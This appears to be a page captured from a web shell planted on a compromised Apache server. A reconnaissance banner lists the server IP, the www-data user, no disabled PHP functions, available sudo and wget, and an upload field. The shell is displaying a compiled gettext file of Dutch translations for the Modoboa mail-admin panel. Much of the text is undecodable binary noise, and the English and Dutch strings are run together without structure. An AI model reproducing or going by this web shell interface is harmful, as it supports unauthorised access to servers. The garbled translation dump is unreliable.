| Server IP : 85.214.239.14 / Your IP : 216.73.216.189 Web Server : Apache/2.4.65 (Debian) System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64 User : www-data ( 33) PHP Version : 8.2.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /srv/modoboa/env/lib/python3.5/site-packages/modoboa/admin/locale/nl_NL/LC_MESSAGES/ |
Upload File : |
�� � { � � �
� " � u � � � � � k s � 1 � - � � � h | � � � �
� � � # � [ $ � � & . 8 ! R 5 t 5 � / � > 2 # q 0 � - � E � : W * u � � � � � � � G ' H p % @ � ) � !
! &! 6! H! Q! * m! �! �! 8 �!
�! �! " ," 5 A" w" 9 �" n �" l 6# F �# 0 �#
$ &$ 2$ G$ N$ i$ x$ �$ �$ �$ �$ �$ �$ % "% ! ,% N% ' V% ~% �%
�% �% �% �% �% �% 3 �% . "& Q& [& b& q& ( �& �& 9 �& �& �& ' ' 1 #' q U' �' �' �' (
( K ( e( l( {( �( 2 �( 2 �( . ) /) 3 ?) s) �) �) # �) �) �)
�) �)
�) * * &* 3* H C* �* �* �* �* �* ( �* + 0+ . 5+ d+ t+ �+ �+ �+ ? �+ S �+ E, % `, �, �, �,
�, % �, �, # �,
- + - - G- $ u- �- ) �- �- �- . $. ?.
K. Y. 3 s. �. �. �. �. �. �. ` �. [/ � c/ �
1 �2 �2 �2 � �2 h �3 &4 54
E4 , P4 }4
�4 �4 �4 \ �4 5 5 "5
25 @5 Q5 [5 d5 k5 s5 5 x5 b �5 6 X $6 }6 �6 �6 � �6 % �7 b �7 A
8 L8 c8 {8 5 �8 �8 �8 �8 �8
�8 = �8 &9 ?9 D9 ]9 f9 p9 v9 , �9 = �9 �9 -
: % ;: + a: $ �: �: " �: $ �: % ; & A; & h; # �; �; �; �; �; �; �; �; �; <
< < < 4 <
U< `< � g< # > 2> B> � b> �> ? ? � .? �? �? & �? 5 @ 6 O@ �@ �@ �@ �@ �A �A �A KB QB
cB
qB |B �B # �B �B " �B
�B n �B � dC 0D
9D " DD & gD 2 �D 8 �D 0 �D +E GE P ZE % �E 8 �E 6
F H AF $ �F $ �F ; �F G G 'G /G ;G \G eG M �G # �G �G & H F -H 2 tH
�H �H �H �H �H �H , I ! =I _I 5 cI
�I �I �I �I ; �I )J A AJ { �J � �J ; �K 4 �K
�K L L *L 1L JL YL ' kL �L �L �L �L �L M
M $ *M OM XM uM |M �M �M �M �M �M �M % N 2 'N
ZN
eN pN �N / �N
�N 6 �N
O &O +O DO 6 MO ~ �O P P ( 1P ZP _P R lP
�P �P �P
�P 9 Q * <Q / gQ �Q 9 �Q �Q �Q R ' R =R NR
dR oR
|R �R �R
�R �R C �R S S .S $ LS qS ) tS �S �S , �S �S �S T T -T P 7T W �T # �T , U 1U 6U EU RU > _U �U / �U �U 5 �U 6 0V " gV �V , �V �V �V " W 'W FW UW fW 4 |W �W
�W �W �W �W �W C X IX 6 QX � �Z l\ u\ �\ � �\ x q] �] �] ^ 2 ^ S^
`^ k^ |^ i �^ _ _ _ #_ 6_ G_ W_ `_ g_ q_ L x_ D �_
` l ` �`
�` �` � �` # �a n �a ` 5b �b �b �b 7 �b �b c
c &c .c E ;c * �c �c �c �c
�c �c # �c 1 d L Id �d 5 �d �d + �d ) 'e ' Qe ) ye # �e # �e % �e ( f % :f `f ff
lf
wf
�f �f �f �f
�f
�f �f �f L �f .g 7g T � { � � � � � � E | � � � 9 U � & � / O e x � @ � K � � � � d 0 F \ � g � R � n 2 � � � � � � _ 8 � ^ $ � ` � q i J a G [ � � z � N P # � � � y � � � � � � � � � � Q � � � 1 � � 7 r � � � � s p * � 6 � � � � > � � V � C �
� m � � " 3 Z �
� � I � , k �
% � � � � � ! f � � � v W ; � � � t � � h � M � � j w � � � ) � u L + � S B A � : � . � ] ( � � � � � c � < ' � � 5 � } �
� � � ? H X b ~ � � � � D 4 = � - � � � � l � � � � � � Y � � � o � %d objects imported successfully (disabled) A %s with this name already exists A list of IP or network address every MX record should match. A warning will be sent if a record does not respect it. A list of recipient A mailbox is required A quota is required Absolute path of the directory where DKIM private keys will be stored. Make sure this directory belongs to root user and is not readable by the outside world. Account Account created Account deleted Accounts deleted Account import failed (%s): domain does not exist Account import failed (%s): wrong quota value Account updated Actions Add Additional sender address(es) for this account. The user will be allowed to send emails using this address, even if it does not exist locally. Indicate one address per input. Press ENTER to add a new input. Additional sender addresses Address Addresses this alias will point to. Indicate only one address per input, press ENTER to add a new input. Admin Administered domains Administration Administrators Alias Alias created Alias deleted Aliases deleted Alias modified Alias with this name already exists Alias(es) Alias(es) of this domain. Indicate only one name per input, press ENTER to add a new input. Alias(es) of this mailbox. Indicate only one address per input, press ENTER to add a new input. To create a catchall alias, just enter the domain name (@domain.tld). Aliases Allocated Automatic account removal Automatic domain/mailbox creation Automatically create an administrator for this domain Automatically create standard aliases for this domain Automatically forward emails to another address Awaiting checks Bind/named format CSV file is not encoded in UTF-8, attempting to guess encoding Cannot be greater than domain quota Check every domain against major DNSBL providers Check that every domain has a valid MX record Check this option if passwords contained in your file are not crypted Check to activate this alias Check to activate this domain Check to enable DNS checks for this domain Choose Choose a value Close Confirmation Continue on error Create Create a domain administrator Create a domain and a mailbox when an account is automatically created. Create a mailbox for the administrator. Create aliases Create an alias using the old address Create an alias using the old address when a mailbox is renamed. Create an alias when a mailbox is renamed Created Creation date Crypt passwords Custom DNS server DKIM key DKIM keys storage directory DKIM keys storage directory not configured DKIM public key for %(domain)s DNS DNS resolution timeout, unable to query %s at the moment DNS status DNSBL summary for {} Default DKIM key length Default domain quota Default length in bits for newly generated DKIM keys. Default mailbox quota Default mailbox quota cannot be greater than domain quota Default quota (in MB) applied to freshly created domains with no value specified. A value of 0 means no quota. Default quota applied to mailboxes. Can be expressed in KB, MB (default) or GB. A value of 0 means no quota. Default quota in MB applied to mailboxes. A value of 0 means no quota. Define at least one authorized network / address Delete %s? Description Directory not found. Domain Domain '%s' does not exist Domain aliases Domain created Domain deleted Domains deleted Domain does not exist Domain is disabled Domain modified Domain not found. Domain quota exceeded Domain {} has no MX record Domain(s) Domain(s) that user administrates Domains Don't treat duplicated objects as error E-mail Edit {} Email address Enable DKIM signing Enable DNS checks Enable DNSBL checks Enable MX checks Enabled Enter the same password as above, for verification. Everything is fine, this domain is not listed. Expire at Export Export domains Export identities Failed to retrieve mailbox location (%s) Forward Forward messages and store copies into your local mailbox Forward updated Full name Fullname/Recipient General Generate a random password for the administrator. Generate a random password. If you're updating this account and check this box, a new password will be generated. Generate new key Global statistics Handle mailboxes on filesystem Help Identities If you activate this feature, a DKIM key will be generated for this domain. Import Import domains Import identities Importing... Indicate one or more recipients separated by a ',' Invalid IP address format for %(domain)s; %(addr)s Invalid IP address format for {domain}; {addr} Invalid address Invalid default mailbox quota value for domain '{}' Invalid format Invalid line Invalid line: %s Invalid quota value for domain '{}' Invalid request Keep local copies Key length Key selector Last login Last modification date Limit List domains List identities List of administered domains (resellers and domain administrators only). List quotas Local domain does not exist Local domain {} does not exist Local recipient {}@{} not found MB MX record for domain {0} is invalid: {1} MX records of {} Mail Mailbox address (without the @domain.tld part) Mailbox aliases Mailbox {} already exists Mailboxes Mailboxes owner Modified Modoboa detected that domain %(domain)s has no valid MX record: Modoboa detected that domain %(domain)s is listed by the following DNSBL providers: Must be a positive integer Must be equal to mailbox full_address Name New account New alias New domain New domains must use authorized MX(s) No MX record for %s No MX record found for this domain. No alias defined No authorized MX record found for domain {} No authorized MX record found for this domain No domain administrator defined yet. No domain defined. No information available for this domain. No recipient defined No sender address defined No working name servers found Not allowed for this role. Not defined Not generated Object already exists: %s Only super administrators are allowed for this mode Options Password Per-domain statistics Permission denied. Permissions Phone number Prevent the creation of a new domain if its MX record does not use one of the defined addresses. Profile Provide a CSV file where lines respect one of the following formats: <ul> <li><em>account; loginname; password; first name; last name; enabled; group; address; quota; [, domain, ...]</em></li> <li><em>alias; address; enabled; recipient; recipient; ...</em></li> </ul> <p>The first element of each line is mandatory and must be equal to one of the previous values.</p> <p>You can use a different character as separator.</p> Provide a CSV file where lines respect one of the following formats: <ul> <li><em>domain; name; quota; default mailbox quota; enabled</em></li> <li><em>domainalias; name; targeted domain; enabled</em></li> <li><em>relaydomain; name; target host; target port; service; enabled; verify recipients</em></li> </ul> <p>The first element of each line is mandatory and must be equal to one of the previous values.</p> <p>You can use a different character as separator.</p> Provider Quantity Quota Quota for this mailbox, can be expressed in KB, MB (default) or GB. Define a custom value or use domain's default one. Leave empty to define an unlimited value (not allowed for domain administrators). Quota shared between mailboxes. Can be expressed in KB, MB (default) or GB. A value of 0 means no quota. Random address Random password Raw format Reading CSV file using %(encoding)s encoding Recipient(s) Recipients Relay domain Remove this permission Rename or remove mailboxes on the filesystem when they get renamed or removed within Modoboa Role Search Secondary email Select a file Sender addresses Separator Show key Status Summary Tags The UNIX account who owns mailboxes on the filesystem The administrator's name. Don't include the domain's name here, it will be automatically appended. The alias address. The alias address. To create a catchall alias, just enter the domain name (@domain.tld). The alias name The domain name The domain this alias points to The domain's reputation will be affected and there is a chance that emails coming from it are considered as spam. You should contact those providers and ask them to unlist detected IP address(es). The two password fields didn't match. The user's name. Must be a valid e-mail address for simple users or administrators with a mailbox. This IP does not match any of the valid MXs defined in parameters This field is required This field is required. Type Unable to decode CSV file using %(encoding)s encoding Unknown domain %s Update Updated Usage Usage (%%) Use a custom DNS server instead of local server configuration Use domain default value Used User '%s' already exists Username Valid MXs Value View the domain's identities What level of permission this user will have When a mailbox is removed, also remove the associated account With a mailbox You are not allowed to import domain aliases. You are not allowed to import domains You can't create a new domain administrator You can't define an unlimited quota. You can't delete your own domain You can't disable your own account You don't have access to this domain You don't have access to this domain. You don't have access to this mailbox. [modoboa] DNSBL issue(s) for domain {} [modoboa] MX issue(s) for domain {} address alias allocated checksDisabled disabled domain domain alias enabled enabled_f enabled_m listed name openssl not found, please make sure it is installed. quotaused target Project-Id-Version: Modoboa
Report-Msgid-Bugs-To:
POT-Creation-Date: 2020-05-06 13:15+0200
PO-Revision-Date: 2019-05-30 07:01+0000
Last-Translator: MC Moerkerk <contact@melluh.me>
Language-Team: Dutch (Netherlands) (http://www.transifex.com/tonio/modoboa/language/nl_NL/)
Language: nl_NL
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
%d objecten succesvol geïmporteerd (uitgeschakeld) Een %s met deze naam bestaat al Een lijst van IP-adressen waaraan alle MX-records moeten voldoen. Er zal een waarschuwing getoont worden voor records die niet overeenkomen. Lijst ontvangers. Een mailbox is benodigd Een quota is vereist Absolute pad van de directory waar DKIM private keys worden opgeslagen. Verzeker u ervan dat deze directory van de user root is en niet leesbaar voor andere gebruikers. Account Account aangemaakt Account verwijderd Accounts verwijderd Accounts importeren mislukt (%s): domein bestaat niet Account import is mislukt (%s): verkeerd quotum waarde Account aangepast Acties Toevoegen Extra afzenderadres(sen) voor dit account. De gebruiker wordt toegestaan om dit adres als verzender te gebruiken voor uitgaande berichten, ook al bestaat dit adres niet lokaal. Geef slechts een adres per regel op, en toets ENTER om een nieuwe regel te krijgen. Extra afzenderadressen Adres Adressen waarnaar deze alias zal verwijzen. Geef slechts een adres per regel op, en toets ENTER om een nieuwe regel te krijgen. Admin Beheerde domeinen Administratie Beheerders Alias Alias aangemaakt Alias verwijderd Aliasen verwijderd Alias aangepast Een alias met deze naam bestaat al Alias(sen) Alias(sen) van dit domein. Geef slechts een adres per regel op, en toets ENTER om een nieuwe regel te krijgen. Alias(en) van deze mailbox. Geef slechts een adres per regel op, en toets ENTER om een nieuwe regel te krijgen. Om een 'catch-all'-adres te maken voert u alleen het domein in (bijvoorbeeld: @domein.tld). Aliassen Toegewezen Automatish een account verwijderen Domein en mailbox automatisch aanmaken Automatisch een beheerder aanmaken voor dit domein Automatisch een standaard alias voor dit domein aanmaken Mail automatisch doorsturen naar een ander adres In afwachting van controles Bind/named formaat CSV bestand is niet gecodeerd in UTF-8, aan het proberen om de codering te raden Kan niet groter zijn dan domein quota Controleer ieder domein tegen de bekende DNSBL providers Controleer dat ieder domein een geldig MX-record heeft Vink deze optie aan als wachtwoorden in uw bestand niet versleuteld zijn Selecteer om deze alias te activeren Selecteer om dit domein te activeren Schakel in om DNS controles voor dit domein uit te voeren. Kiezen Kies een waarde Sluiten Bevestiging Doorgaan als er een fout optreed Aanmaken Maak een domeinbeheerder aan Maak een domein en mailbox aan wanneer een account automatisch is aangemaakt. Maak een postbus voor de beheerder. Aliassen aanmaken Maak een alias aan voor het oude adres Maak een alias aan voor het oude adres als een mailbox hernoemd wordt. Maak een alias aan als een mailbox hernoemd wordt. Aangemaakt Datum van aanmaken Versleutel wachtwoorden Eigen DNS server DKIM key DKIM Key opslagdirectory DKIM Key opslagdirectory niet geconfigureerd DKIM publieke key voor %(domain)s DNS DNS timeout, het was niet mogelijk om %s op te zoeken DNS status DNSBL overzicht voor {} Standaard DKIM key lengte Standaard domein quota Standaard lengte in bits voor nieuw gegenereerde DKIM keys. Standaard mailbox quota Standaard mailboxquotum kan niet groter zijn dan het domeinquotum Standaard quota (in MB) om op nieuw aangemaakte domeinen zonder waarde toe te passen. Een waarde van 0 betekent geen quota. Standaard quota toegepast op alle mailboxen. Kan uitgedrukt worden in KB, MB (standaard) of GB. Een waarde van 0 betekent geen quota. Standaard quotum in MB per mailbox. 0 Betekent geen quotum. Definieer ten minste 1 geautoriseerd netwerk / adres Verwijder %s? Omschrijving Directory niet gevonden. Domein Domein '%s' bestaat niet Domeinaliassen Domein aangemaakt Domeinen verwijderd Domeinen verwijderd Domein bestaat niet Domein is gedeactiveerd Domein gewijzigd Domein niet gevonden. Domein quota overschreden Domein {} heeft geen MX-record Domein(en) Domein(en) die gebruiker mag beheren Domeinen Zie duplicaten niet als fout E-mail Bewerk {} E-mail adres Zet DKIM ondertekening aan Schakel DNS checks in. DNSBL Controles inschakelen MX Controles inschakelen Actief Herhaal wachtwoord (voor verificatie) Alles is prima, dit domein staat niet op de lijst. Verloop op Exporteren Exporteer domeinen Identiteiten exporteren Mislukt om de mailbox locatie te verkijgen (%s) Doorsturen Stuur berichten door en sla een kopie op in uw mailbox Doorstuuradres aangepast Naam Volledige naam/Ontvanger Algemeen Genereer een willekeurig wachtwoord voor de beheerder. Genereer een willekeurig wachtwoord. Als u dit account bijwerkt en deze optie aanvinkt wordt een nieuw wachtwoord gegenereerd. Nieuwe sleutel genereren Globale statistieken Pas mailboxen op het bestandssysteem aan Help Identiteiten Als u deze functie aanzet, zal er een DKIM key gegenereerd worden voor dit domein. Importeren Importeer domeinen Importeer identiteiten Importeren... Geef een of meer ontvangers op, gescheiden door een komma Onjuist IP adres voor %(domain)s: %(addr)s Ongeldig IP-adres formaat voor {domain}; {addr} Ongeldig adres Ongeldige standaard mailbox quota waarde voor domein '{}' Verkeerd formaat Verkeerde regel Ongeldige regel: %s Ongeldige quota waarde voor domein '{}' Ongeldig verzoek Lokale kopie behouden Key lengte Key selector Laatste login Laatst gewijzigd Limiet Toon domeinen Toon identiteiten Lijst van beheerde domeinen (alleen resellers en domeinbeheerders). Toon quota's Domein bestaat niet lokaal Lokaal domein {} bestaat niet Lokale ontvanger {}@{} niet gevonden MB MX-record voor domein {0} is onjuist: {1} MX-records van {} Mail Mailbox adres (zonder het @domein.naam deel) Mailbox aliassen Mailbox {} bestaat al Mailboxen Eigenaar van de mailboxen Aangepast Modoboa heeft vastgesteld dat het domein %(domain)s geen geldig MX-record heeft: Modoboa heeft vastgesteld dat het domein %(domain)s op de volgende DNSBL lijsten staat: Dit moet een positive integer zijn. Moet gelijk zijn aan de mailbox full_address Naam Nieuwe account Nieuwe alias Nieuw domein Nieuwe domeinen moeten geauthoriseerde MX-record(s) gebruiken. Geen MX record voor %s Geen geldig MX-record voor dit domein gevonden. Geen alias opgegeven Geen geauthoriseerd MX record gevonden voor domein {} Geen geauthoriseerd MX record gevonden voor dit domein Nog geen domeinbeheerder opgegeven Geen domein opgegeven. Geen informatie beschikbaar over dit domein. Geen ontvanger opgegeven Geen afzenderadres opgegeven Geen werkende nameservers gevonden Niet toegestaan voor deze rol. Niet opgegeven Niet gegenereerd Object bestaat al: %s Alleen hoofdbeheerders hebben toegang tot deze modus Opties Wachtwoord Statistieken per domein Toegang geweigerd. Rechten Telefoonnummer Een domein niet aanmaken als het MX-record het adres niet gebruikt. Profiel Lever een CSV bestand en zorg dat de regels voldoen aan een van de volgende formaten:
<ul>
<li><em>account; loginname; password; first name; last name; enabled; group; address; quota; [, domain, ...]</em></li>
<li><em>alias; address; enabled; internal recipient</em></li>
<li><em>forward; address; enabled; external recipient</em></li>
<li><em>dlist; address; enabled; recipient; recipient; ...</em></li>
</ul>
<p>Het eerste element van elke regel is verplicht en moet gelijk zijn aan een van de vorige waarden.</p>
<p>U kunt een eigen scheidingsteken gebruiken.</p> Lever een CSV bestand en zorg dat de regels voldoen aan een van de volgende formaten: <ul> <li><em>domain; name; quota; default mailbox quota; enabled</em></li> <li><em>domainalias; name; targeted domain; enabled</em></li> <li><em>relaydomain; name; target host; target port; service; enabled; verify recipients</em></li> </ul> <p>Het eerste element van elke regel is verplicht en moet gelijk zijn aan een van de vorige waarden.</p> <p>U kunt een eigen scheidingsteken gebruiken.</p> Provider Hoeveelheid Quota Quota voor deze mailbox kan uitgedrukt worden ik KB, MB (standaard) of GB. Geef een aangepaste waarde of gebruik de standaard voor dit domein. Laat dit leeg voor een ongelimiteerde waarde (niet toegestaan voor domein administrators). Quota gedeeld tussen mailboxen. Kan uitgedrukt worden in KB, MB (standaard) of GB. Een waarde van 0 betekent geen quota. Willekeurig adres Willekeurig wachtwoord Ruwe formaat CSV bestand aan het lezen met %(encoding)scodering Ontvanger(s) Ontvangers Doorstuur domein Deze bevoegdheid verwijderen Hernoem of verwijder mailboxen op het bestandssysteem wanner ze hernoemd of verwijderd worden in Modoboa. Regel Zoeken Tweede e-mailadres Bestand selecteren Afzenderadressen Scheidingsteken Toon key Status Overzicht Labels De UNIX account die de rechten heeft tot de mailboxen op het bestandssysteem De naam van de beheerder. De domeinnaam word automatisch toegevoegd. Het alias adres Het alias-adres. Om een 'catch-all'-adres te maken voert u alleen het domein in (bijvoorbeeld: @domein.tld). De aliasnaam De domeinnaam De domeinalias verwijst naar De reputatie van dit domein wordt hierdoor aangetast er bestaat een kans dat e-mail van dit domein als spam wordt gezien. U zou contact moeten opnemen met deze providers en hen vragen om deze IP adressen van de lijst te halen. De wachtwoorden komen niet overeen. De naam van de gebruiker. Moet een geldig e-mail adres zijn voor gebruikers of administrators met een mailbox. Dit IP-adres komt niet overeen met een van de valide MX'en zoals gedefinieerd in de instellingen Dit veld is benodigd Dit veld is benodigd. Type Kan CSV bestand niet decoderen met %(encoding)scodering Onbekend domein %s Toepassen Bijgewerkt Gebruik Gebruik (%%) Gebruik een eigen DNS server in plaats van lokale server configuratie Gebruik de standaard waarde van dit domein Gebruikt Gebruiker '%s' bestaat al Gebruikersnaam Geldige MX'en Waarde Toon de identiteiten van dit domein Welk niveau van rechten deze gebruiker zal hebben Als een mailbox wordt verwijderd, verwijder dan ook het bijbehorende account Met een mailbox U heeft geen rechten om domeinaliassen te importeren. U mag geen domeinen importeren U kunt geen nieuwe domeinbeheerder aanmaken U kunt geen onbeperkt quotum definiëren. U kunt uw eigen domein niet verwijderen U kunt uw eigen account niet uitschakelen U heeft geen toegang tot dit domein U hebt geen toegang tot dit domein. U hebt geen toegang tot deze mailbox. [modoboa] DNSBL problemen voor domein {} [modoboa] MX problemen voor domein {} adres alias toegewezen Uitgeschakeld uitgeschakeld domein domein alias actief geactiveerd_f geactiveerd_m Staat op de lijst naam Openssl kan niet gevonden worden. Verzeker u ervan dat dit geinstalleerd is. gebruikt doel